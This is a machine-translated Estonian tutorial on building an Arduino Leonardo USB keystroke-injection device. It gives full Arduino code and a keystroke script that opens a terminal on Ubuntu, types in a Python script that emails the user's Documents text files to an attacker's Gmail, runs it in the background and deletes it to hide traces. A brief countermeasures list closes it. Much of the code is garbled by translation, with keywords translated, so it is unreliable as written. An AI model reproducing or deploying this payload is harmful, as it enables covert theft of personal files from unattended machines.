Sisukord:

Arduino klaviatuuri ekspluateerimise demo (HID) ja ennetamine: 4 sammu (piltidega)
Arduino klaviatuuri ekspluateerimise demo (HID) ja ennetamine: 4 sammu (piltidega)

Video: Arduino klaviatuuri ekspluateerimise demo (HID) ja ennetamine: 4 sammu (piltidega)

Video: Arduino klaviatuuri ekspluateerimise demo (HID) ja ennetamine: 4 sammu (piltidega)
Video: Веб-программирование – информатика для руководителей бизнеса 2016 2024, November
Anonim
Image
Image
Seadme ehitamine
Seadme ehitamine

Selles projektis kasutame arduino leonardot, et simuleerida võimalikku USB -rünnakut HID -i (humain interface device) abil.

Olen koostanud selle õpetuse mitte häkkerite abistamiseks, vaid selleks, et näidata teile mõningaid tõelisi ohte ja seda, kuidas end nende ohtude eest kaitsta. See seade ei ole seade, mida saab häkkerite jaoks igal platvormil kasutada, see on pigem kontseptsiooni üksikasjalik tõend.

Õpime järgmist:

- kuidas kasutada klaviatuuri jäljendamiseks arduino Leonardo

- kuidas lugeda andmeid SD -kaartidelt

- kuidas luua pythoni skript, mis skaneerib faile ja saadab need meilile

- kuidas kaitsta ennast USB -häkkimisseadmete eest

Samm: materjalid

Osad:

1. Arduino leonardo

2. mikro -USB -kaardilugeja

3. mõne GB SD -kaart

4. nupp nagu see (VCC, maandus ja signaal)

5. emane-mees ja naine-naine hüppajakaablid

6. mikro -USB -kaabel

2. samm: seadme ehitamine

Seadme ehitamine
Seadme ehitamine

Enne ehitusjuhendi vaatame üle tööpõhimõtte:

Arduino leonardo võib käituda nagu inimese liideseseade (HID) ja seetõttu võib see jäljendada hiirt ja klaviatuuri. Kasutame seda funktsiooni terminali avamiseks (UBUNTU linuxis) ja kirjutame väikese skripti, mis avab kasutaja kodukataloogi /Dokumendid kausta.txt -failid ja saadab need kellelegi. Kui soovite rohkem üksikasju teada saada, vaadake järgmist sammu.

Kuna see on demoseade, on asjad tõesti lihtsad, ei hakka me midagi jootma.

Ehitusjuhised

Enne alustamist kontrollige manustatud faile, olen lisanud fritzeerimise skeemid ja kõik vajalikud failid

1. Pange komponendid kokku:

* ühendage mikro -USB -kaabel arduinoga

* ühendage võtmelüliti arduinoga (maandus, vcc ja väljundmoodul D8 -ga)

* ühendage kaardilugeja arduinoga (kasutades ICSP päist). Arduino leonardol pole ICSP päist ühendatud digitaalsete tihvtidega, nii et peate kaardilugeja ühendama ICSP päisega. ICSP joonised leiate siit: https://learn.sparkfun.com/tutorials/installing-an…. Ühendage SS -tihvt digitaalse tihvtiga 10

2. hankige arduino kood, saate kloonida minu arduino hoidla githubis: https://github.com/danionescu0/arduino ja minge aadressile project/keyboard_exploit või hankige see altpoolt:

#include "Keyboard.h"

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Unerežiim::"; String commandStartingPoint = "Käsk::"; int delayBetweenCommands = 10; const int nuppPin = 8; const int chipSelect = 10; int previousButtonState = KÕRGE; void setup () {pinMode (buttonPin, INPUT); Seriaalne algus (9600); Klaviatuur.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Kaart ebaõnnestus või puudub!"); tagasipöördumine; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Üles laaditud!"); viivitus (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {Faili andmedFile = SD.open (failinimiKaart); if (! dataFile) {Serial.println ("Määratud failinime pole SD -kaardil, kontrollige failinimeKaart!"); } Stringijoon; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (rida); sendToKeyboard (rida); } dataFile.close (); } tühine sendToKeyboard (stringirida) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {uniFor (rida); tagasipöördumine; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:"); Serial.println (line); Keyboard.println (rida); pressEnter (); tagasipöördumine; } Serial.println ("Käsk:"); int charPosition = commandStartingPoint.length (); int linePikkus = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); String käsk = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (käsk! = "") {Serial.print ("Käsk leitud:"); Serial.println (käsk); Keyboard.press (getCommandCode (käsk)); viivitus (delayBetweenCommands); }} Keyboard.releaseAll (); viivitus (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Sleeping for:"); Serial.println (sleepAmount); viivitus (sleepAmount); } char getCommandCode (String tekst) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char kood = textCharacters [0]; kood = (tekst == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: kood; kood = (tekst == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: kood; kood = (tekst == "KEY_LEFT_ALT")? KEY_LEFT_ALT: kood; kood = (tekst == "KEY_UP_ARROW")? KEY_UP_ARROW: kood; kood = (tekst == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: kood; kood = (tekst == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: kood; kood = (tekst == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: kood; kood = (tekst == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: kood; kood = (tekst == "KEY_BACKSPACE")? KEY_BACKSPACE: kood; kood = (tekst == "KEY_TAB")? KEY_TAB: kood; kood = (tekst == "KEY_RETURN")? KEY_RETURN: kood; kood = (tekst == "KEY_ESC")? KEY_ESC: kood; kood = (tekst == "KEY_INSERT")? KEY_INSERT: kood; kood = (tekst == "KEY_DELETE")? KEY_DELETE: kood; kood = (tekst == "KEY_PAGE_UP")? KEY_PAGE_UP: kood; kood = (tekst == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: kood; kood = (tekst == "KEY_HOME")? KEY_HOME: kood; kood = (tekst == "KEY_END")? KEY_END: kood; kood = (tekst == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: kood; kood = (tekst == "KEY_F1")? KEY_F1: kood; kood = (tekst == "KEY_F2")? KEY_F2: kood; kood = (tekst == "KEY_F3")? KEY_F3: kood; kood = (tekst == "KEY_F4")? KEY_F4: kood; kood = (tekst == "KEY_F5")? KEY_F5: kood; kood = (tekst == "KEY_F6")? KEY_F6: kood; kood = (tekst == "KEY_F7")? KEY_F7: kood; kood = (tekst == "KEY_F8")? KEY_F8: kood; kood = (tekst == "KEY_F9")? KEY_F9: kood; kood = (tekst == "KEY_F10")? KEY_F10: kood; kood = (tekst == "KEY_F11")? KEY_F1: kood; kood = (tekst == "KEY_F12")? KEY_F2: kood;

tagastamiskood;

}

3. Laadige kood üles arduino, valige kindlasti 9600 baudikiirus, jadaport ja arduino leonardo

4. Vormindage SD -kaart FAT16 või FAT32 abil

5. Kui kloneerisite githubi repo ülevalt, kopeerige kaardile fail hack.txt, kui see pole allpool loetletud:

Käsk:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Unerežiim:: 300 Käsk:: KEY_INSERT impordib smtplib impordi globaalne, os osppathist impulssi laiendus e -postist. MIMEMultipart impordib MIMEMultipart e -postist. MIMEBase impordib MIMEBase e -posti teel. MIMEText impordib MIMEText e -kirjast. Tööriistad impordivad COMMASPACE, vormingu kuupäeva e -posti impordi kodeerijatest

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'Receive_address' scan_documents_location = 'Dokumendid'

subject = body = 'Failid häkkinud arvutist'

header = 'Saaja: {0} nAlates: {1} nTeema: {2} n'.format (to_address, smtp_user, subject)

def sendMail (saaja, teema, tekst, failid = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = teema msg.attach (MIMEText (tekst)) failides oleva faili jaoks: part = MIMEBase ('rakendus', "oktettvoog") part.set_payload (avatud (fail, "rb"). Loe ()) Encoders.encode_base64 (osa) osa. add_header ('Content-Disposition', 'manus; failinimi = " % s"' % os.path.basename (fail)) msg.attach (osa)

server = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()

sendMail ([to_address], subject, body, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))

Unerežiim:: 50 käsku:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT, KEY_F4

6. Muutke järgmisi ridu:

smtp_user = 'saatja_emaili_addr'

smtp_pass = 'saatja_parool' aadressile = 'vastuvõtja aadress'

Ja asendage see oma e -posti aadressidega

7. Eemaldage kaart ja sisestage see arduino kaardilugejasse

3. toiming: kuidas see üksikasjalikult toimib

Kuidas rünnak toimib:

1. Kui nuppu vajutatakse, loeb Leonardo SD -kaardi lugeja abil SD -kaarti. Kaardil on spetsiaalne fail, mis sisaldab võtmeid ja klahvikombinatsioone. Faili nimi on "hack.txt".

Fail võib sisaldada töötlemata teksti ja see edastatakse klaviatuurile nii, nagu see on.

Samuti võib see sisaldada spetsiaalseid käske nagu "Sleep::" ja "Command::".

Selline rida:

Uni:: 200 tähendab 200 ms und

Selline rida:

Käsk:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t tähendab vasakule vajutatud ctrl, vasakule vajutatud, t vajutatud ja kõik vabastatud

Kõiki erivõtmeid saate vaadata siit:

2. Leonardo loeb rida realt ja tõlgendab käske ning jäljendab klaviatuuri klahve. Fail "hack.txt" sisaldab klahvikombinatsiooni, mis teeb järgmist (UBUNTU linuxi puhul):

a. avab terminali (CTRL + ALT + T)

b. avab python -faili loomiseks vi abil (kirjutab "vi hack.py"

c. kirjutab sisse pythoni skripti, mis kogub kõik tekstifailid dokumentide kodukataloogi ja saadab need määratud gmaili aadressile

d. käivitab faili taustal ("nohup python hack.py &")

e. kustutab faili (rm -rf hack.py)

f. sulgeb terminali (ALT + F4)

Kogu see asi jookseb mõne sekundiga ja ei jäta jälgi.

Täiustused ja veaotsing

* Võite märgata, et pärast terminali avamist kirjutan pythoni faili. parem viis selle jaoks on selle kusagil hostimine ja käsu "wget some_url" abil allalaadimine ning seejärel ümber nimetamine hack.py

* Samuti saame alla laadida või käivitada sihtotstarbelise operatsioonisüsteemi jaoks valmis kasutamise

* Moodulile saab lisada wifi ja häkkida WIFI kaudu

* saate kasutada arduino micro (mis on palju väiksem) ja manustada sellele ekspluateerimiskoodi (selle väiksemaks muutmiseks)

Piirangud

1. Kuna simuleeritud seadmel (klaviatuuril ja hiirel) pole tagasisidet, ei tea me, mis juhtub pärast käsu väljastamist, mis tähendab, et peame kasutama viivitusi. Näiteks ma annan käsu terminali avamiseks, kuid ma ei tea, millal see tegelikult avatakse, seega pean määrama suvalise viivituse, et pärast seda sisestatud märgid ei läheks kaduma.

2. Meil võib tekkida probleeme lubadega, nagu meil puudub juurdepääs USB -pordile või luba midagi installida

3. Kirjutamiskiirus pole Leonardo puhul nii suur

4. Töötab ainult sihitud operatsioonisüsteemiga (meie puhul UBUNTU linux)

Järgmises etapis püüame leida viise, kuidas neid piiranguid ära kasutada, et vältida meie arvuti häkkimist

4. samm: vastumeetmed

1. USB -portide keelamine

-Windowsi puhul saate seda õpetust vaadata:

2. USB -seadmete lubatud nimekirja lisamine:

- Windowsi jaoks:

2. Lukustage arvuti, kui te pole ära

3. Ärge logige sisse administraatorina (millegi installimiseks on vaja paroole)

4. Hoidke ennast kursis (automaatsed värskendused on sisse lülitatud)

Soovitan: